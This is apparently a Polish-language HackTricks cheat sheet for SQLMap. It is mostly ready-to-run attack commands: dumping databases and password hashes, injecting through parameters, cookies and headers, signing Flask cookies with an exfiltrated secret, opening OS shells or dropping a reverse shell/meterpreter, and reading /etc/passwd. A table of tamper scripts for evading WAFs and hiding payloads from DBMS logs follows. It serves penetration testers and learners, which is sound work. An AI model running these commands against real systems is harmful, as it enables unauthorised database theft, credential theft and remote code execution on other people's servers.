# SQLMap - Cheatsheet {{#include ../../../banners/hacktricks-training.md}} ## Podstawowe argumenty dla SQLmap ### Ogólne ```bash -u "" -p "" --user-agent=SQLMAP --random-agent --threads=10 --risk=3 #MAX --level=5 #MAX --dbms="" --os="" --technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ") --batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers --auth-type="" #HTTP authentication type (Basic, Digest, NTLM or PKI) --auth-cred="" #HTTP authentication credentials (name:password) --proxy=http://127.0.0.1:8080 --union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char ``` ### Pobierz informacje #### Wewnętrzne ```bash --current-user #Get current user --is-dba #Check if current user is Admin --hostname #Get hostname --users #Get usernames od DB --passwords #Get passwords of users in DB --privileges #Get privileges ``` #### DB data ```bash --all #Retrieve everything --dump #Dump DBMS database table entries --dbs #Names of the available databases --tables #Tables of a database ( -D ) --columns #Columns of a table ( -D -T ) -D -T
-C #Dump column ``` Używając [SQLMapping](https://taurusomar.github.io/sqlmapping/), jest to praktyczne narzędzie, które generuje polecenia i zapewnia pełny przegląd, zarówno podstawowy, jak i zaawansowany, dla SQLMap. Zawiera ToolTips, które wyjaśniają każdy aspekt narzędzia, szczegółowo opisując każdą opcję, abyś mógł poprawić i zrozumieć, jak używać go efektywnie i skutecznie. ## Miejsce wstrzyknięcia ### Z przechwycenia Burp/ZAP Przechwyć żądanie i utwórz plik req.txt ```bash sqlmap -r req.txt --current-user ``` ### Wstrzykiwanie Żądania GET ```bash sqlmap -u "http://example.com/?id=1" -p id sqlmap -u "http://example.com/?id=*" -p id ``` ### Wstrzykiwanie Żądania POST ```bash sqlmap -u "http://example.com" --data "username=*&password=*" ``` ### Iniekcje w nagłówkach i innych metodach HTTP ```bash #Inside cookie sqlmap -u "http://example.com" --cookie "mycookies=*" #Inside some header sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*" sqlmap -u "http://example.com" --headers="referer:*" #PUT Method sqlmap --method=PUT -u "http://example.com" --headers="referer:*" #The injection is located at the '*' ``` ### Wskaźnik ciągu, gdy wstrzyknięcie jest udane ```bash --string="string_showed_when_TRUE" ``` ### Technika wykrywania Jeśli znalazłeś SQLi, ale sqlmap go nie wykrył, możesz wymusić technikę wykrywania za pomocą argumentów takich jak `--prefix` lub `--suffix`, lub w przypadku bardziej złożonych, dodając ją do ładunków używanych przez sqlmap w `/usr/share/sqlmap/data/xml/payloads/time_blind.xml`, na przykład dla opartego na czasie ślepego. ### Eval **Sqlmap** pozwala na użycie `-e` lub `--eval`, aby przetworzyć każdy ładunek przed jego wysłaniem za pomocą jednego wiersza kodu w Pythonie. Ułatwia to i przyspiesza przetwarzanie ładunku w niestandardowy sposób przed jego wysłaniem. W następującym przykładzie **sesja cookie flask** **jest podpisywana przez flask znanym sekretem przed jej wysłaniem**: ```bash sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump ``` ### Shell ```bash #Exec command python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami #Simple Shell python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell #Dropping a reverse-shell / meterpreter python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn ``` ### Przeczytaj plik ```bash --file-read=/etc/passwd ``` ### Crawlowanie strony internetowej za pomocą SQLmap i automatyczne wykorzystanie ```bash sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3 --batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers --crawl = how deep you want to crawl a site --forms = Parse and test forms ``` ### Druga kolejność wstrzyknięcia ```bash python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3 sqlmap -r 1.txt -dbms MySQL -second-order "http:///joomla/administrator/index.php" -D "joomla" -dbs ``` [**Przeczytaj ten post** ](second-order-injection-sqlmap.md)**o tym, jak przeprowadzać proste i złożone drugorzędowe wstrzyknięcia za pomocą sqlmap.** ## Dostosowywanie wstrzyknięcia ### Ustaw sufiks ```bash python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- " ``` ### Prefiks ```bash python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') " ``` ### Pomoc w znajdowaniu wstrzyknięć boolean ```bash # The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection) sqlmap -r r.txt -p id --not-string ridiculous --batch ``` ### Tamper Pamiętaj, że **możesz stworzyć własny tamper w pythonie** i jest to bardzo proste. Możesz znaleźć przykład tampera na [stronie Drugiego Rzędu Wstrzyknięcia tutaj](second-order-injection-sqlmap.md). ```bash --tamper=name_of_the_tamper #In kali you can see all the tampers in /usr/share/sqlmap/tamper ``` | Tamper | Opis | | ---------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- | | apostrophemask.py | Zastępuje znak apostrofu jego pełnowymiarowym odpowiednikiem UTF-8 | | apostrophenullencode.py | Zastępuje znak apostrofu jego nielegalnym podwójnym odpowiednikiem unicode | | appendnullbyte.py | Dodaje zakodowany znak NULL na końcu ładunku | | base64encode.py | Koduje wszystkie znaki w danym ładunku w formacie Base64 | | between.py | Zastępuje operator większy niż ('>') z 'NOT BETWEEN 0 AND #' | | bluecoat.py | Zastępuje znak spacji po instrukcji SQL ważnym losowym znakiem pustym. Następnie zastępuje znak = operatorem LIKE | | chardoubleencode.py | Podwójnie koduje URL wszystkie znaki w danym ładunku (nie przetwarzając już zakodowanych) | | commalesslimit.py | Zastępuje wystąpienia takie jak 'LIMIT M, N' z 'LIMIT N OFFSET M' | | commalessmid.py | Zastępuje wystąpienia takie jak 'MID(A, B, C)' z 'MID(A FROM B FOR C)' | | concat2concatws.py | Zastępuje wystąpienia takie jak 'CONCAT(A, B)' z 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' | | charencode.py | Koduje URL wszystkie znaki w danym ładunku (nie przetwarzając już zakodowanych) | | charunicodeencode.py | Koduje znaki unicode w danym ładunku (nie przetwarzając już zakodowanych). "%u0022" | | charunicodeescape.py | Koduje znaki unicode w danym ładunku (nie przetwarzając już zakodowanych). "\u0022" | | equaltolike.py | Zastępuje wszystkie wystąpienia operatora równości ('=') operatorem 'LIKE' | | escapequotes.py | Używa znaku ukośnika do ucieczki cytatów (' i ") | | greatest.py | Zastępuje operator większy niż ('>') jego odpowiednikiem 'GREATEST' | | halfversionedmorekeywords.py | Dodaje wersjonowany komentarz MySQL przed każdym słowem kluczowym | | ifnull2ifisnull.py | Zastępuje wystąpienia takie jak 'IFNULL(A, B)' z 'IF(ISNULL(A), B, A)' | | modsecurityversioned.py | Otacza pełne zapytanie wersjonowanym komentarzem | | modsecurityzeroversioned.py | Otacza pełne zapytanie zerowym wersjonowanym komentarzem | | multiplespaces.py | Dodaje wiele spacji wokół słów kluczowych SQL | | nonrecursivereplacement.py | Zastępuje zdefiniowane słowa kluczowe SQL reprezentacjami odpowiednimi do zastąpienia (np. .replace("SELECT", "")) filtry | | percentage.py | Dodaje znak procentu ('%') przed każdym znakiem | | overlongutf8.py | Konwertuje wszystkie znaki w danym ładunku (nie przetwarzając już zakodowanych) | | randomcase.py | Zastępuje każdy znak słowa kluczowego losową wartością wielkości liter | | randomcomments.py | Dodaje losowe komentarze do słów kluczowych SQL | | securesphere.py | Dodaje specjalnie skonstruowany ciąg | | sp_password.py | Dodaje 'sp_password' na końcu ładunku w celu automatycznego zaciemnienia z logów DBMS | | space2comment.py | Zastępuje znak spacji (' ') komentarzami | | space2dash.py | Zastępuje znak spacji (' ') komentarzem w postaci myślnika ('--') po którym następuje losowy ciąg i nowa linia ('\n') | | space2hash.py | Zastępuje znak spacji (' ') znakiem funta ('#') po którym następuje losowy ciąg i nowa linia ('\n') | | space2morehash.py | Zastępuje znak spacji (' ') znakiem funta ('#') po którym następuje losowy ciąg i nowa linia ('\n') | | space2mssqlblank.py | Zastępuje znak spacji (' ') losowym znakiem pustym z ważnego zestawu alternatywnych znaków | | space2mssqlhash.py | Zastępuje znak spacji (' ') znakiem funta ('#') po którym następuje nowa linia ('\n') | | space2mysqlblank.py | Zastępuje znak spacji (' ') losowym znakiem pustym z ważnego zestawu alternatywnych znaków | | space2mysqldash.py | Zastępuje znak spacji (' ') komentarzem w postaci myślnika ('--') po którym następuje nowa linia ('\n') | | space2plus.py | Zastępuje znak spacji (' ') znakiem plus ('+') | | space2randomblank.py | Zastępuje znak spacji (' ') losowym znakiem pustym z ważnego zestawu alternatywnych znaków | | symboliclogical.py | Zastępuje operatory logiczne AND i OR ich symbolicznymi odpowiednikami (&& i | | unionalltounion.py | Zastępuje UNION ALL SELECT z UNION SELECT | | unmagicquotes.py | Zastępuje znak cytatu (') kombinacją wielobajtową %bf%27 razem z ogólnym komentarzem na końcu (aby to działało) | | uppercase.py | Zastępuje każdy znak słowa kluczowego wartością wielką 'INSERT' | | varnish.py | Dodaje nagłówek HTTP 'X-originating-IP' | | versionedkeywords.py | Otacza każde nie-funkcyjne słowo kluczowe wersjonowanym komentarzem MySQL | | versionedmorekeywords.py | Otacza każde słowo kluczowe wersjonowanym komentarzem MySQL | | xforwardedfor.py | Dodaje fałszywy nagłówek HTTP 'X-Forwarded-For' | {{#include ../../../banners/hacktricks-training.md}}